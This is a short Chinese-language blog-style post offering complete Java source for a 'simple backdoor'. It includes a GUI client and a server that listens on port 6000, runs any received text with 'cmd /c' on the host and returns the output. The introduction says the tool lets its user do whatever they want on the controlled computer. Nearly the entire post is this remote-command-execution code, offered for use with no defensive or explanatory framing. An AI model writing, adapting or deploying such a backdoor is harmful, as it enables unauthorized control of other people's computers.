JAVA简单后门程序
主要是用网络编程技巧,调用被控计算机的本地命令,这样就可以为所欲为了。。。
客户端:
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import java.awt.*;import java.awt.event.*;import java.io.*;import java.net.*;public class Client extends Frame implements ActionListener { Label label = new Label("指令"); Panel panel = new Panel(); TextField tf = new TextField(20); TextArea ta = new TextArea(); Socket client; InputStream in; OutputStream out; public Client() { super("客户机"); setSize(250, 250); panel.add(label); panel.add(tf); tf.addActionListener(this); add("South", panel); add("Center", ta); addWindowListener(new WindowAdapter() { //退出 public void windowClosing(WindowEvent e) { System.exit(0); } }); show(); try { client = new Socket(InetAddress.getLocalHost(), 6000); //向6000端口发出客户请求 ta.append("服务器是:" + client.getInetAddress().getHostAddress() + "\n\n"); in = client.getInputStream(); out = client.getOutputStream(); } catch (IOException ioe) { } while (true) { try { byte[] buf = new byte[256]; in.read(buf); String str = new String(buf); ta.append(str + "\n"); } catch (IOException e) { } } } public void actionPerformed(ActionEvent e) { try { String str = tf.getText(); byte[] buf = str.getBytes(); tf.setText(null); out.write(buf); ta.append("\n指令:" + str + "\n"); } catch (IOException ioe) { } } public static void main(String[] args) { new Client(); }} |
服务端:
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import java.io.*; import java.net.*; import java.awt.*; import java.awt.event.*;public class Server extends Frame {ServerSocket server; Socket client; InputStream in; OutputStream out; public Server() { super("服务器"); setSize(250,250); addWindowListener(new WindowAdapter(){ public void windowClosing(WindowEvent e) { System.exit(0); } }); show(); try{ server=new ServerSocket(6000); client=server.accept(); in=client.getInputStream(); out=client.getOutputStream(); }catch(IOException ioe){} while(true){ try{ String Result=null; byte[]buf=new byte[256]; in.read(buf); String str=new String(buf); Process p = Runtime.getRuntime().exec("cmd /c "+str); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); while((Result=br.readLine())!=null) { out.write(Result.getBytes()); } }catch (IOException e){} } }public static void main(String[]args) { new Server(); } } |